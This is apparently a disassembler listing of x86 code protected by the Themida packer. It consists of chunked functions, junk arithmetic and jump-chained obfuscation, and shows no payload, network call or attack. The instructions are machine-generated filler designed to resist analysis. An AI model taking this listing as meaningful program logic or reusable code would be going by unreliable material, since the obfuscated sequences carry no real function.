; START OF FUNCTION CHUNK FOR sub_585452
loc_584EFF: ; CODE XREF: sub_585452-9D6j
sub cl, 0E7h
sub dh, cl
pop ecx
add al, 0EEh
jmp loc_58B4CF
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_584F0C: ; CODE XREF: sub_58EFBD-4705j
pop eax
jmp loc_58BD3B
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58905F
loc_584F12: ; CODE XREF: sub_58905F+B2Bj
and esi, 3837C06h
push 759Bh
mov [esp+10h+var_10], ebp
mov ebp, 1ADE70F1h
add ebp, 3A7F6770h
jmp loc_58F918
; END OF FUNCTION CHUNK FOR sub_58905F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_589C10
loc_584F30: ; CODE XREF: sub_589C10-5A71j
xor [esp-4+arg_0], edx
jmp loc_5890BC
; END OF FUNCTION CHUNK FOR sub_589C10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E931
loc_584F38: ; CODE XREF: sub_58E931-5975j
not ebp
xchg ebp, edi
jmp loc_58589E
; END OF FUNCTION CHUNK FOR sub_58E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584F41: ; CODE XREF: sub_585452+96EAj
push small word ptr [eax]
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58EFBD
loc_584F49: ; CODE XREF: sub_58EFBD-6702j
mov ecx, eax
pop eax
inc ecx
and ecx, 5C4D150Dh
jmp loc_58A758
; END OF FUNCTION CHUNK FOR sub_58EFBD
; ---------------------------------------------------------------------------
loc_584F58: ; CODE XREF: Themida_:0058A7B2j
pop eax
jmp loc_58FC24
; ---------------------------------------------------------------------------
loc_584F5E: ; CODE XREF: Themida_:0058B603j
add edx, esi
jmp loc_585EF3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584F65: ; CODE XREF: sub_585452+3E99j
push [esp-0Eh+arg_E]
jmp loc_58AC7B
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
dw 8B66h
dd 6851240Ch, 4A1Ah, 0FFF69CE9h, 24248BFFh, 0FFEC9BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_584F85: ; CODE XREF: Themida_:00586A85j
pop edx
jmp loc_58BBAB
; ---------------------------------------------------------------------------
loc_584F8B: ; CODE XREF: Themida_:00587AB7j
sub cl, dl
pop edx
sub al, 8Eh
add al, cl
add al, 8Eh
pop ecx
sub al, bl
sub esp, 4
mov [esp], ebx
mov bh, 71h
jmp loc_585BCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584FA4: ; CODE XREF: sub_585452+9F89j
push esp
pop edi
jmp loc_586B83
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_584FAB proc near ; CODE XREF: sub_585452+474Cj
push ebx
jmp loc_5855D6
sub_584FAB endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584FB1: ; CODE XREF: sub_585452+7EDCj
xor eax, ecx
jmp loc_583FC4
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584FB8: ; CODE XREF: Themida_:00587778j
sub ebx, edi
add ebx, 78B9543Dh
push eax
mov eax, 448D4493h
jmp loc_588C9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_584FCB: ; CODE XREF: sub_585452+43F8j
push edx
mov edx, 53172A1h
jmp loc_585234
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_584FD6: ; CODE XREF: Themida_:0058C35Bj
sub bl, ah
pop ax
jmp loc_58F286
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DA2E
loc_584FDF: ; CODE XREF: sub_58DA2E-4070j
mov dl, bh
jmp loc_58FBAD
; END OF FUNCTION CHUNK FOR sub_58DA2E
; ---------------------------------------------------------------------------
loc_584FE6: ; CODE XREF: Themida_:00587188j
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push eax
mov eax, 4
add ebx, eax
pop eax
jmp loc_58F99D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_585006: ; CODE XREF: sub_585452+75ABj
xor [esp-6+arg_0+2], eax
xor eax, [esp-6+arg_0+2]
mov esp, [esp-6+arg_0+2]
push ebx
push ecx
push eax
mov ah, dl
jmp sub_58EF8B
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_585019 proc near ; CODE XREF: sub_58BCA7-7A4Fj
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005849B0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00586281 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058AD39 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058E782 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058F7F3 SIZE 0000000C BYTES
sub esp, 4
mov [esp+4+var_4], esp
add [esp+4+var_4], 4
pop edx
push ebp
jmp loc_58F7F3
sub_585019 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58502A: ; CODE XREF: sub_585452+768Ej
add ecx, edx
pop edx
xor ecx, [esp+2+var_4+2]
xor [esp+2+var_4+2], ecx
xor ecx, [esp+2+var_4+2]
pop esp
loc_585037: ; CODE XREF: sub_585452+3CCj
push 929h
jmp loc_58621E
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58405E
loc_585041: ; CODE XREF: sub_58405E+8583j
pop eax
jmp loc_58F08B
; END OF FUNCTION CHUNK FOR sub_58405E
; ---------------------------------------------------------------------------
loc_585047: ; CODE XREF: Themida_:0058884Fj
mov [esp], eax
push esp
mov eax, [esp]
push edi
jmp loc_58F6C8
; ---------------------------------------------------------------------------
loc_585054: ; CODE XREF: Themida_:00583DDEj
sub ebp, 1BFE6545h
pop ebx
add ebp, ecx
jmp loc_58D685
; ---------------------------------------------------------------------------
loc_585062: ; CODE XREF: Themida_:0058A920j
sub al, 14h
jmp loc_58F9F3
; ---------------------------------------------------------------------------
loc_585069: ; CODE XREF: Themida_:0058802Fj
xchg ebx, [esp]
pop esp
mov [esp], dx
mov dl, 98h
jmp loc_58BD7E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58A5A3
loc_585078: ; CODE XREF: sub_58A5A3+3316j
mov [esp+4+var_4], edx
push 7FCh
mov [esp+8+var_8], esp
sub esp, 4
mov [esp+0Ch+var_C], ebp
mov ebp, 4
sub [esp+0Ch+var_8], 2D10450Bh
add [esp+0Ch+var_8], ebp
add [esp+0Ch+var_8], 2D10450Bh
pop ebp
push [esp+8+var_8]
pop edx
add esp, 4
jmp loc_5871E9
; END OF FUNCTION CHUNK FOR sub_58A5A3
; ---------------------------------------------------------------------------
loc_5850AF: ; CODE XREF: Themida_:00587D68j
mov [esp], esi
mov esi, 21F56E82h
sub edi, esi
pop esi
not edi
inc edi
sub edi, 0FFFFFFFFh
dec edi
add edi, 43A6FD8Ch
jmp loc_58FE53
; ---------------------------------------------------------------------------
loc_5850CF: ; CODE XREF: Themida_:0058F5A2j
sub esp, 4
mov [esp], eax
jmp loc_58FBC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5850DD: ; CODE XREF: sub_585452+79Dj
add edx, 262F24D9h
mov ebx, edx
jmp loc_58AB58
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58AB18
loc_5850EA: ; CODE XREF: sub_58AB18-13D8j
sub eax, ebp
pop ebp
xor eax, [esp-4+arg_0]
jmp loc_58DA53
; END OF FUNCTION CHUNK FOR sub_58AB18
; ---------------------------------------------------------------------------
mov ax, [esp]
push 4D42h
mov [esp], ebp
push esp
jmp loc_58926E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58E931
loc_585107: ; CODE XREF: sub_58E931-AC52j
mov edx, 6D374C8h
jmp loc_58CC2E
; END OF FUNCTION CHUNK FOR sub_58E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_585111: ; CODE XREF: sub_58FA66+24j
push dword ptr [esp+0]
jmp loc_58A662
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_585119: ; CODE XREF: Themida_:0058FEE8j
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
jmp loc_584A5B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_585130: ; CODE XREF: sub_585452+2DC6j
mov dx, word ptr [esp+2+var_4+2]
jmp loc_586F74
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_585139: ; CODE XREF: Themida_:00589424j
add esp, 4
pop dword ptr [esp]
pop esp
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push ebx
push edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop ebx
add ebx, 4
push ecx
mov ecx, 73D02319h
or ecx, 584E6DA0h
jmp loc_583DA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58517F: ; CODE XREF: sub_585452+24F5j
dec al
and al, 0CDh
sub al, 31h
mov dh, al
mov eax, [esp+2+var_4+2]
push edi
jmp loc_58BEC9
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_585190: ; CODE XREF: Themida_:0058BDEEj
pop edx
push 49AFh
jmp loc_586390
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58519B: ; CODE XREF: sub_585452+17Fj
mov word ptr [esp+6+var_8+2], cx
movzx cx, al
jmp loc_58B59D
; ---------------------------------------------------------------------------
loc_5851A8: ; CODE XREF: sub_585452+946j
push [esp+6+var_8+2]
pop ecx
jmp loc_58E2DC
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5851B1: ; CODE XREF: Themida_:0058AF86j
add [esp+4], ebx
sub dword ptr [esp+4], 6A9132BCh
pop ebx
jmp loc_5848B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58DEA3
loc_5851C3: ; CODE XREF: sub_58DEA3-7013j
push ax
push ebx
mov bh, 5Fh
or bh, 0D7h
neg bh
neg bh
neg bh
sub bh, 0F2h
mov ah, 0A5h
add ah, bh
mov ebx, [esp+0]
jmp loc_586B01
; END OF FUNCTION CHUNK FOR sub_58DEA3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58960C
loc_5851E0: ; CODE XREF: sub_58960C+2B9Dj
mov ebp, [esp+4+var_4]
jmp loc_588854
; END OF FUNCTION CHUNK FOR sub_58960C
; ---------------------------------------------------------------------------
loc_5851E8: ; CODE XREF: Themida_:0058952Aj
push ecx
mov cl, 2Bh
shr cl, 3
push ebx
mov bh, 0FFh
sub cl, bh
pop ebx
jmp loc_58F3FE
; ---------------------------------------------------------------------------
loc_5851F9: ; CODE XREF: Themida_:0058E5C5j
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
jmp loc_586B55
; ---------------------------------------------------------------------------
loc_585210: ; CODE XREF: Themida_:00588E5Ej
and ebp, 5DF50325h
push edx
mov edx, 12F718AAh
shl edx, 8
jmp loc_585E07
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_583C20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_585234: ; CODE XREF: sub_585452-481j
dec edx
jmp loc_588A83
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_586A34
loc_58523A: ; CODE XREF: sub_586A34+10j
pop ebx
add eax, 75E0752h
jmp loc_58C706
; END OF FUNCTION CHUNK FOR sub_586A34
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_585245: ; CODE XREF: sub_585452+A254j
add esp, 4
add edi, 4
sub edi, 2
xchg edi, [esp-0Ah+arg_4+2]
mov esp, [esp-0Ah+arg_4+2]
mov word ptr [esp-0Ah+arg_4+2], dx
push ax
pushf
jmp loc_583C20
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_585263: ; CODE XREF: sub_58FA66-25C1j
mov esi, [esp+4+var_4]
add esp, 4
sub ecx, 4
xor ecx, [esp+0]
xor [esp+0], ecx
xor ecx, [esp+0]
mov esp, [esp+0]
mov [esp+0], ecx
push eax
jmp loc_58F674
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_585284: ; CODE XREF: Themida_:0058BD36j
add ebx, ecx
pop ecx
push 43B0h
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
push 5951h
mov [esp], ebp
jmp loc_585AB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5852A3: ; CODE XREF: sub_585452+3EE4j
push eax
jmp loc_5855B6
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5852A9: ; CODE XREF: Themida_:00586D0Fj
mov ecx, 4
jmp loc_58AB73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5852B3: ; CODE XREF: sub_585452+25D7j
push ecx
jmp loc_5874D0
; ---------------------------------------------------------------------------
loc_5852B9: ; CODE XREF: sub_585452+6BE5j
dec eax
jmp loc_58AC8A
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5852BF: ; CODE XREF: Themida_:0058C4CCj
push ebx
jmp loc_589547
; ---------------------------------------------------------------------------
loc_5852C5: ; CODE XREF: Themida_:0058CB51j
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub esp, 4
mov [esp], ecx
push ebp
mov ebp, 37A162A5h
add ebp, 38D706E1h
inc ebp
not ebp
jmp loc_586334
; ---------------------------------------------------------------------------
loc_5852F1: ; CODE XREF: Themida_:0058E70Fj
neg cx
shl cx, 4
inc cx
inc cx
push si
mov si, 56E8h
xor cx, si
pop si
add cx, 4D77h
jmp loc_58F686
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_585311: ; CODE XREF: sub_585452+3BA5j
pop eax
sub ebx, 7C1A56B8h
push ecx
mov ecx, 0
jmp loc_58C1D5
; ---------------------------------------------------------------------------
loc_585323: ; CODE XREF: sub_585452+5F4Dj
pop ebx
xor ch, 7
sub al, ch
pop ecx
sub al, bl
push ebx
mov bl, 8Eh
neg bl
shl bl, 5
add bl, 0B1h
or bl, 5Ch
xor bl, 45h
add al, bl
pop ebx
push ecx
mov ch, 7Ch
push small 7AFCh
mov word ptr [esp+2+var_4+2], dx
jmp loc_5892DB
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_585350 proc near ; CODE XREF: sub_585452+5342j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005864A6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058D0E6 SIZE 00000027 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
push eax
sub esp, 4
jmp loc_58D0E6
sub_585350 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_58535F: ; CODE XREF: sub_585452+4752j
mov eax, 288A1660h
jmp loc_5872F9
; ---------------------------------------------------------------------------
loc_585369: ; CODE XREF: sub_585452+2670j
mov ebx, ecx
pop ecx
sub edx, ebx
jmp loc_58F5E1
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FA66
loc_585373: ; CODE XREF: sub_58FA66-4FC3j
xor [esp+4+var_4], ecx
xor ecx, [esp+4+var_4]
xor [esp+4+var_4], ecx
jmp loc_586E95
; END OF FUNCTION CHUNK FOR sub_58FA66
; ---------------------------------------------------------------------------
loc_585381: ; CODE XREF: Themida_:005867F0j
pop ebx
jmp loc_587F90
; ---------------------------------------------------------------------------
loc_585387: ; CODE XREF: Themida_:005843A7j
add ebp, 4
push edi
mov edi, 2
add ebp, edi
pop edi
xor ebp, [esp]
xor [esp], ebp
jmp loc_58D8BE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5853A1: ; CODE XREF: sub_585452+99DBj
sub ebx, 5DC60643h
jmp loc_58D019
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
loc_5853AC: ; CODE XREF: Themida_:00586AFCj
mov ebx, esp
jmp loc_584EF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_587E93
loc_5853B3: ; CODE XREF: sub_587E93+3871j
shl bl, 4
xor bl, 1Eh
xor cl, bl
pop ebx
add bl, cl
pop ecx
jmp near ptr unk_583F35
; END OF FUNCTION CHUNK FOR sub_587E93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_5853C4: ; CODE XREF: sub_585452+5269j
mov esi, edx
pop edx
sub esp, 4
jmp loc_58E4D3
; ---------------------------------------------------------------------------
loc_5853CF: ; CODE XREF: sub_585452+669Aj
mov ebx, [esp+0]
push esi
jmp loc_58B86F
; END OF FUNCTION CHUNK FOR sub_585452
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C230
loc_5853D8: ; CODE XREF: sub_58C230-3A19j
pop ecx
push eax
mov eax, esp
add eax, 4
jmp loc_583F60
; END OF FUNCTION CHUNK FOR sub_58C230
; ---------------------------------------------------------------------------
loc_5853E6: ; CODE XREF: Themida_:0058BA08j
sub esp, 4
mov [esp], edi
mov edi, 38583BBFh
not edi
add edi, 49D077D8h
sub eax, edi
pop edi
push edx
push esi
mov esi, 5C6C52C8h
dec esi
add esi, 0C1EE0C7Ah
mov edx, esi
jmp loc_58C384
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58622C
loc_585414: ; CODE XREF: sub_58622C+82F6j
xor edi, edx
pop edx
sub esp, 4
mov [esp+0], ebp
mov ebp, 6505698Dh
and ebp, 7EFF33B6h
dec ebp
jmp loc_58CA81
; END OF FUNCTION CHUNK FOR sub_58622C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_585452
loc_585431: ; CODE XREF: sub_585452+317j
add edx, 4
xchg edx, [esp+2+var_4+2]
pop esp
push ebx
mov ebx, esp
jmp loc_58B798
; ---------------------------------------------------------------------------
loc_585443: ; CODE XREF: sub_585452+104Fj
not edx
push ebx
mov ebx, 6B555140h
neg ebx
jmp loc_58A8BD
; END OF FUNCTION CHUNK FOR sub_585452
; =============== S U B R O U T I N E =======================================
sub_585452 proc near ; CODE XREF: sub_5B5756-284B4j
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_E = dword ptr 12h
arg_12 = dword ptr 16h
arg_16 = dword ptr 1Ah
arg_1A = dword ptr 1Eh
arg_1E = dword ptr 22h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_32 = dword ptr 36h
arg_36 = dword ptr 3Ah
; FUNCTION CHUNK AT 00583C9F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00583CB7 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00583CF6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00583D55 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00583D89 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00583DE3 SIZE 0000005A BYTES
; FUNCTION CHUNK AT 00583EB3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00583FC4 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00583FE2 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00584024 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00584064 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005840CB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00584103 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058412D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00584164 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058417E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005841A4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058424C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058425D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058429D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005842C3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00584342 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00584389 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005843B7 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 00584427 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00584441 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0058449E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 00584542 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0058457E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00584641 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0058467B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005846C0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058475D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005847E3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00584802 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00584812 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058483C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005848EE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058491A SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00584950 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00584961 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005849CE SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00584A35 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00584A48 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00584A63 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00584AAF SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00584B29 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00584B72 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00584B86 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00584BA2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00584BCA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00584C62 SIZE 00000068 BYTES
; FUNCTION CHUNK AT 00584CEA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00584CFB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00584D27 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00584DB3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00584E03 SIZE 00000068 BYTES
; FUNCTION CHUNK AT 00584E82 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00584EDA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00584EFF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00584F41 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00584F65 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00584FA4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00584FB1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00584FCB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00585006 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058502A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005850DD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00585130 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058517F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058519B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00585234 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00585245 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005852A3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005852B3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00585311 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058535F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005853A1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005853C4 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00585431 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00585F80 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 00585FF8 SIZE 0000005E BYTES
; FUNCTION CHUNK AT 00586061 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005860B4 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 005860F0 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 00586167 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00586180 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058621E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058623F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005862B6 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005862E1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058630E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00586369 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058637F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058639C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005863BF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005863E3 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058641D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00586457 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 005864E6 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058650F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005865BD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005865E7 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0058660B SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00586668 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005866AA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005866D4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005866F3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058682C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005868C9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058691E SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005869B2 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00586A54 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00586A8A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00586B75 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00586B9D SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00586C13 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00586C47 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00586C6F SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00586CD7 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 00586D48 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00586DCC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00586DFA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00586EB7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00586EF1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00586F16 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00586F38 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00586F74 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00586F8C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00586FA4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00586FD8 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00587010 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058703F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00587071 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058708A SIZE 00000011 BYTES
